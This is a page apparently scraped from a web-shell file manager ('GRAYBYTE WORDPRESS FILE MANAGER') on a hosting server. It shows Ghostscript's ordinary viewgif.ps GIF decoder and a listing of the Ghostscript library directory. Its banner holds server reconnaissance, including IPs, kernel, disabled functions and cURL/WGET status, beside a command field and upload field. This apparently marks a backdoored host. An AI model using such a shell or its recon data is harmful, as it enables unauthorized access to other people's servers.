GRAYBYTE WORDPRESS FILE MANAGER1629

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /usr/share/ghostscript/lib/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /usr/share/ghostscript/lib//viewgif.ps
% Copyright (C) 2001-2019 Artifex Software, Inc.
% All Rights Reserved.
%
% This software is provided AS-IS with no warranty, either express or
% implied.
%
% This software is distributed under license and may not be copied,
% modified or distributed except as expressly authorized under the terms
% of the license contained in the file LICENSE in this distribution.
%
% Refer to licensing information at http://www.artifex.com or contact
% Artifex Software, Inc.,  1305 Grant Avenue - Suite 200, Novato,
% CA 94945, U.S.A., +1(415)492-9861, for further information.
%

% viewgif.ps
% Display a GIF file.

/read1			% <file> read1 <int>
 { read pop
 } bind def
/read2			% <file> read2 <int>
 { dup read1 exch read1 8 bitshift add
 } bind def

/readGIFheader		% <file> readGIFheader <dict>
 { 20 dict begin
   dup 6 string readstring pop
   dup (GIF87a) eq exch (GIF89a) eq or not
    { (Not a GIF file.\n) print cleartomark stop
    } if
   dup read2 /Width exch def
   dup read2 /Height exch def
   dup read1
   dup 128 ge /GlobalColor exch def
   dup -4 bitshift 7 and 1 add /BitsPerPixel exch def	%***BOGUS?***
   dup 8 and 0 ne /PaletteSorted exch def
   7 and 1 add dup /BitsPerPixel exch def
     1 exch bitshift /PaletteSize exch def
   dup read1 /BackgroundIndex exch def
   dup read1 15 add 64 div /AspectRatio exch def
   GlobalColor
    { PaletteSize 3 mul string readstring pop
      /GlobalPalette exch def
    } if
   currentdict end
 } bind def

/readGIFimageHeader	% <file> readGIFimageHeader <dict>
                        % Note: GIF header must be on dict stack
 { 10 dict begin
    { dup read1
      dup (!) 0 get ne { exit } if pop		% extension
      dup read1 pop
       { dup read1 dup 0 eq { pop exit } if { dup read1 pop } repeat
       } loop
    } loop
   (,) 0 get ne
    { (Not a GIF image.\n) print stop
    } if
   dup read2 /Left exch def
   dup read2 /Top exch def
   dup read2 /Width exch def
   dup read2 /Height exch def
   dup read1
   dup 128 ge /LocalColor exch def
   dup 64 and 0 ne /Interlaced exch def
   LocalColor
    { 7 and 1 add /BitsPerPixel exch def
      1 BitsPerPixel bitshift 3 mul string readstring pop
      /Palette exch def
    }
    { pop pop /Palette GlobalPalette def
    }
   ifelse
   currentdict end
 } bind def

/imageGIF		% <imagedict> imageGIF
 { /ImageOut where
    { pop
                % We know BitsPerComponent = 8, Decode = [0 255].
                % and there is only a single data source which is
                % either a filter or a string whose size is exactly
                % the width of the row.
      dup /DataSource get dup type /stringtype eq
       { ImageOut exch writestring
       }
       { pop dup /Width get string
         1 index /Height get
          { 1 index /DataSource get 1 index readstring pop
            ImageOut exch writestring
          }
         repeat pop pop
       }
      ifelse
    }
    { image
    }
   ifelse
 } bind def

/viewGIF		% <file|string> viewGIF -
 { save 20 dict begin
   /saved exch def
   dup type /stringtype eq { (r) file } if
   /F exch def
   /ImageOutFile where { /ImageOut ImageOutFile (w) file def } if
   F readGIFheader /Header exch def
     currentdict Header end begin begin
   VGIFDEBUG { Header { exch == == } forall (----------------\n) print flush } if
   F readGIFimageHeader /ImageHeader exch def
     currentdict ImageHeader end begin begin
   VGIFDEBUG { ImageHeader { exch == == } forall (----------------\n) print flush } if
   /D F
   <<	/InitialCodeLength F read1
        /FirstBitLowOrder true
        /BlockData true
        /EarlyChange 0
   >> /LZWDecode filter def

   [/Indexed /DeviceRGB 1 BitsPerPixel bitshift 1 sub Palette] setcolorspace
   matrix currentmatrix
   0 1 3 { 2 copy get dup 0 ne { dup abs div } if 3 copy put pop pop } for
   setmatrix
   <<	/ImageType 1
        /ImageMatrix [1 0 0 -1 0 Height]
        /BitsPerComponent 8
        /Decode [0 255]
   Interlaced
    {	/Width Width   /Height 1
        /row Width string def
        /DataSource row
      >> /I exch def
      /inter		% <num> <denom> inter -
       { /denom exch def   /num exch def
         gsave
         /lines Height denom 1 sub add num sub denom idiv def
         0 1 lines 1 sub {
           Height exch denom mul num add sub
           I /ImageMatrix get 5 3 -1 roll put
           D row readstring pop pop
           I imageGIF
         } for
         grestore
       }
      bind def
      0 8 inter
      4 8 inter
      2 4 inter
      1 2 inter
    }
    {	/Width Width   /Height Height
        /DataSource D
      >> imageGIF
    }
   ifelse
   saved end end end restore
 } bind def

% This lets you do stuff on the command line like:
% gs -sDEVICE=pdfwrite -o stuff%03d.pdf viewgif.ps -c "(image.gif) << /PageSize 2 index viewGIFgetsize 2 array astore  >> setpagedevice viewGIF"
% so the output size is influenced by the original image.
/viewGIFgetsize		% <file|string> ==> [width height]
{
   save 20 dict begin
   /saved exch def
   dup type /stringtype eq { (r) file } if
   /F exch def
   F readGIFheader /Header exch def
     currentdict Header end begin begin
   VGIFDEBUG { Header { exch == == } forall (----------------\n) print flush } if
   F readGIFimageHeader /ImageHeader exch def
     currentdict ImageHeader end begin begin
   F 0 setfileposition		% reset file pointer
   Width Height
   saved end end end restore
} bind def

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
June 03 2025 02:48:16
root / root
0755
PDFA_def.ps
1.246 KB
June 03 2025 02:48:11
root / root
0644
PDFX_def.ps
1.77 KB
June 03 2025 02:48:11
root / root
0644
PM760p.upp
1.133 KB
June 03 2025 02:48:15
root / root
0644
PM760pl.upp
1.098 KB
June 03 2025 02:48:15
root / root
0644
PM820p.upp
1.115 KB
June 03 2025 02:48:15
root / root
0644
PM820pl.upp
1.091 KB
June 03 2025 02:48:15
root / root
0644
Stc670p.upp
1.132 KB
June 03 2025 02:48:15
root / root
0644
Stc670pl.upp
1.098 KB
June 03 2025 02:48:15
root / root
0644
Stc680p.upp
1.113 KB
June 03 2025 02:48:15
root / root
0644
Stc680pl.upp
1.089 KB
June 03 2025 02:48:15
root / root
0644
Stc740p.upp
1.015 KB
June 03 2025 02:48:15
root / root
0644
Stc740pl.upp
1.089 KB
June 03 2025 02:48:15
root / root
0644
Stc760p.upp
1.114 KB
June 03 2025 02:48:15
root / root
0644
Stc760pl.upp
1.089 KB
June 03 2025 02:48:15
root / root
0644
Stc777p.upp
1.113 KB
June 03 2025 02:48:15
root / root
0644
Stc777pl.upp
1.089 KB
June 03 2025 02:48:15
root / root
0644
Stp720p.upp
1.131 KB
June 03 2025 02:48:15
root / root
0644
Stp720pl.upp
1.089 KB
June 03 2025 02:48:15
root / root
0644
Stp870p.upp
1.113 KB
June 03 2025 02:48:15
root / root
0644
Stp870pl.upp
1.089 KB
June 03 2025 02:48:15
root / root
0644
acctest.ps
4.169 KB
June 03 2025 02:48:11
root / root
0644
align.ps
2.105 KB
June 03 2025 02:48:11
root / root
0644
bj8.rpd
0.624 KB
June 03 2025 02:48:12
root / root
0644
bj8gc12f.upp
1.496 KB
June 03 2025 02:48:12
root / root
0644
bj8hg12f.upp
1.495 KB
June 03 2025 02:48:12
root / root
0644
bj8oh06n.upp
1.481 KB
June 03 2025 02:48:12
root / root
0644
bj8pa06n.upp
1.489 KB
June 03 2025 02:48:12
root / root
0644
bj8pp12f.upp
1.506 KB
June 03 2025 02:48:12
root / root
0644
bj8ts06n.upp
1.494 KB
June 03 2025 02:48:12
root / root
0644
bjc6000a1.upp
1.621 KB
June 03 2025 02:48:15
root / root
0644
bjc6000b1.upp
1.621 KB
June 03 2025 02:48:15
root / root
0644
bjc610a0.upp
1.491 KB
June 03 2025 02:48:12
root / root
0644
bjc610a1.upp
1.48 KB
June 03 2025 02:48:12
root / root
0644
bjc610a2.upp
1.481 KB
June 03 2025 02:48:12
root / root
0644
bjc610a3.upp
1.486 KB
June 03 2025 02:48:12
root / root
0644
bjc610a4.upp
1.494 KB
June 03 2025 02:48:12
root / root
0644
bjc610a5.upp
1.481 KB
June 03 2025 02:48:12
root / root
0644
bjc610a6.upp
1.481 KB
June 03 2025 02:48:12
root / root
0644
bjc610a7.upp
1.484 KB
June 03 2025 02:48:12
root / root
0644
bjc610a8.upp
1.49 KB
June 03 2025 02:48:12
root / root
0644
bjc610b1.upp
1.48 KB
June 03 2025 02:48:12
root / root
0644
bjc610b2.upp
1.481 KB
June 03 2025 02:48:12
root / root
0644
bjc610b3.upp
1.486 KB
June 03 2025 02:48:12
root / root
0644
bjc610b4.upp
1.494 KB
June 03 2025 02:48:12
root / root
0644
bjc610b6.upp
1.481 KB
June 03 2025 02:48:12
root / root
0644
bjc610b7.upp
1.485 KB
June 03 2025 02:48:12
root / root
0644
bjc610b8.upp
1.49 KB
June 03 2025 02:48:12
root / root
0644
caption.ps
1.718 KB
June 03 2025 02:48:11
root / root
0644
cbjc600.ppd
10.887 KB
June 03 2025 02:48:11
root / root
0644
cbjc800.ppd
11.222 KB
June 03 2025 02:48:12
root / root
0644
cdj550.upp
1.65 KB
June 03 2025 02:48:12
root / root
0644
cdj690.upp
1.952 KB
June 03 2025 02:48:12
root / root
0644
cdj690ec.upp
2.012 KB
June 03 2025 02:48:12
root / root
0644
cid2code.ps
4.386 KB
June 03 2025 02:48:11
root / root
0644
dmp_init.ps
7.076 KB
June 03 2025 02:48:15
root / root
0644
dmp_site.ps
0.448 KB
June 03 2025 02:48:15
root / root
0644
dnj750c.upp
2.742 KB
June 03 2025 02:48:12
root / root
0644
dnj750m.upp
1.929 KB
June 03 2025 02:48:12
root / root
0644
docie.ps
7.322 KB
June 03 2025 02:48:11
root / root
0644
escp_24.src
0.342 KB
June 03 2025 02:48:15
root / root
0644
font2pcl.ps
18.007 KB
June 03 2025 02:48:11
root / root
0644
ghostpdf.ppd
25.042 KB
June 03 2025 02:48:12
root / root
0644
gs_ce_e.ps
2.167 KB
June 03 2025 02:48:11
root / root
0644
gs_il2_e.ps
2.569 KB
June 03 2025 02:48:11
root / root
0644
gs_kanji.ps
3.913 KB
June 03 2025 02:48:11
root / root
0644
gs_ksb_e.ps
3.071 KB
June 03 2025 02:48:11
root / root
0644
gs_l.xbm
1.899 KB
June 03 2025 02:48:12
root / root
0644
gs_l.xpm
2.687 KB
June 03 2025 02:48:12
root / root
0644
gs_l_m.xbm
1.909 KB
June 03 2025 02:48:12
root / root
0644
gs_lgo_e.ps
2.67 KB
June 03 2025 02:48:11
root / root
0644
gs_lgx_e.ps
1.725 KB
June 03 2025 02:48:11
root / root
0644
gs_m.xbm
0.923 KB
June 03 2025 02:48:12
root / root
0644
gs_m.xpm
1.403 KB
June 03 2025 02:48:12
root / root
0644
gs_m_m.xbm
0.933 KB
June 03 2025 02:48:12
root / root
0644
gs_s.xbm
0.58 KB
June 03 2025 02:48:12
root / root
0644
gs_s.xpm
0.935 KB
June 03 2025 02:48:12
root / root
0644
gs_s_m.xbm
0.59 KB
June 03 2025 02:48:12
root / root
0644
gs_t.xbm
0.337 KB
June 03 2025 02:48:12
root / root
0644
gs_t.xpm
0.591 KB
June 03 2025 02:48:12
root / root
0644
gs_t_m.xbm
0.347 KB
June 03 2025 02:48:12
root / root
0644
gs_wl1_e.ps
2.437 KB
June 03 2025 02:48:11
root / root
0644
gs_wl2_e.ps
2.436 KB
June 03 2025 02:48:11
root / root
0644
gs_wl5_e.ps
2.453 KB
June 03 2025 02:48:11
root / root
0644
gslp.ps
20.242 KB
June 03 2025 02:48:11
root / root
0644
gsnup.ps
2.572 KB
June 03 2025 02:48:11
root / root
0644
ht_ccsto.ps
222.796 KB
June 03 2025 02:48:11
root / root
0644
image-qa.ps
71.338 KB
June 03 2025 02:48:11
root / root
0644
jispaper.ps
0.766 KB
June 03 2025 02:48:11
root / root
0644
landscap.ps
1.434 KB
June 03 2025 02:48:11
root / root
0644
lines.ps
3.648 KB
June 03 2025 02:48:11
root / root
0644
mkcidfm.ps
21.798 KB
June 03 2025 02:48:11
root / root
0644
necp2x.upp
1.021 KB
June 03 2025 02:48:12
root / root
0644
necp2x6.upp
1.044 KB
June 03 2025 02:48:12
root / root
0644
pdf2dsc.ps
7.874 KB
June 03 2025 02:48:11
root / root
0644
pf2afm.ps
14.937 KB
June 03 2025 02:48:11
root / root
0644
pfbtopfa.ps
0.973 KB
June 03 2025 02:48:11
root / root
0644
ppath.ps
1.776 KB
June 03 2025 02:48:11
root / root
0644
pphs.ps
6.684 KB
June 03 2025 02:48:11
root / root
0644
prfont.ps
7.044 KB
June 03 2025 02:48:11
root / root
0644
printafm.ps
4.783 KB
June 03 2025 02:48:11
root / root
0644
ps2ai.ps
21.783 KB
June 03 2025 02:48:11
root / root
0644
ps2epsi.ps
8.34 KB
June 03 2025 02:48:11
root / root
0644
ras1.upp
0.21 KB
June 03 2025 02:48:12
root / root
0644
ras24.upp
0.214 KB
June 03 2025 02:48:12
root / root
0644
ras3.upp
0.209 KB
June 03 2025 02:48:12
root / root
0644
ras32.upp
0.191 KB
June 03 2025 02:48:12
root / root
0644
ras4.upp
0.215 KB
June 03 2025 02:48:12
root / root
0644
ras8m.upp
0.204 KB
June 03 2025 02:48:12
root / root
0644
rollconv.ps
12.232 KB
June 03 2025 02:48:11
root / root
0644
s400a1.upp
1.42 KB
June 03 2025 02:48:15
root / root
0644
s400b1.upp
1.565 KB
June 03 2025 02:48:15
root / root
0644
sharp.upp
1.891 KB
June 03 2025 02:48:15
root / root
0644
sipixa6.upp
0.517 KB
June 03 2025 02:48:15
root / root
0644
st640ih.upp
2.228 KB
June 03 2025 02:48:12
root / root
0644
st640ihg.upp
1.473 KB
June 03 2025 02:48:12
root / root
0644
st640p.upp
1.869 KB
June 03 2025 02:48:12
root / root
0644
st640pg.upp
1.114 KB
June 03 2025 02:48:12
root / root
0644
st640pl.upp
1.834 KB
June 03 2025 02:48:12
root / root
0644
st640plg.upp
1.079 KB
June 03 2025 02:48:12
root / root
0644
stc.upp
1.878 KB
June 03 2025 02:48:12
root / root
0644
stc1520h.upp
2.104 KB
June 03 2025 02:48:12
root / root
0644
stc2.upp
1.859 KB
June 03 2025 02:48:12
root / root
0644
stc200_h.upp
1.805 KB
June 03 2025 02:48:12
root / root
0644
stc2_h.upp
1.835 KB
June 03 2025 02:48:12
root / root
0644
stc2s_h.upp
2.219 KB
June 03 2025 02:48:12
root / root
0644
stc300.upp
2.086 KB
June 03 2025 02:48:12
root / root
0644
stc300bl.upp
1.31 KB
June 03 2025 02:48:12
root / root
0644
stc300bm.upp
1.396 KB
June 03 2025 02:48:12
root / root
0644
stc500p.upp
1.858 KB
June 03 2025 02:48:12
root / root
0644
stc500ph.upp
1.858 KB
June 03 2025 02:48:12
root / root
0644
stc600ih.upp
2.228 KB
June 03 2025 02:48:12
root / root
0644
stc600p.upp
1.124 KB
June 03 2025 02:48:12
root / root
0644
stc600pl.upp
1.089 KB
June 03 2025 02:48:12
root / root
0644
stc640p.upp
1.069 KB
June 03 2025 02:48:12
root / root
0644
stc740ih.upp
2.073 KB
June 03 2025 02:48:15
root / root
0644
stc800ih.upp
2.107 KB
June 03 2025 02:48:12
root / root
0644
stc800p.upp
1.089 KB
June 03 2025 02:48:12
root / root
0644
stc800pl.upp
1.071 KB
June 03 2025 02:48:12
root / root
0644
stc_h.upp
1.868 KB
June 03 2025 02:48:12
root / root
0644
stc_l.upp
0.717 KB
June 03 2025 02:48:12
root / root
0644
stcany.upp
0.657 KB
June 03 2025 02:48:12
root / root
0644
stcany_h.upp
0.665 KB
June 03 2025 02:48:12
root / root
0644
stcinfo.ps
24.919 KB
June 03 2025 02:48:11
root / root
0644
stcolor.ps
4.946 KB
June 03 2025 02:48:11
root / root
0644
stocht.ps
2.436 KB
June 03 2025 02:48:11
root / root
0644
traceimg.ps
1.35 KB
June 03 2025 02:48:11
root / root
0644
traceop.ps
2.512 KB
June 03 2025 02:48:11
root / root
0644
uninfo.ps
5.846 KB
June 03 2025 02:48:11
root / root
0644
viewcmyk.ps
1.938 KB
June 03 2025 02:48:11
root / root
0644
viewgif.ps
5.269 KB
June 03 2025 02:48:11
root / root
0644
viewjpeg.ps
5.558 KB
June 03 2025 02:48:11
root / root
0644
viewmiff.ps
4.153 KB
June 03 2025 02:48:11
root / root
0644
viewpbm.ps
10.041 KB
June 03 2025 02:48:11
root / root
0644
viewpcx.ps
5.109 KB
June 03 2025 02:48:11
root / root
0644
viewps2a.ps
1.109 KB
June 03 2025 02:48:11
root / root
0644
winmaps.ps
3.521 KB
June 03 2025 02:48:11
root / root
0644
zeroline.ps
2.263 KB
June 03 2025 02:48:11
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF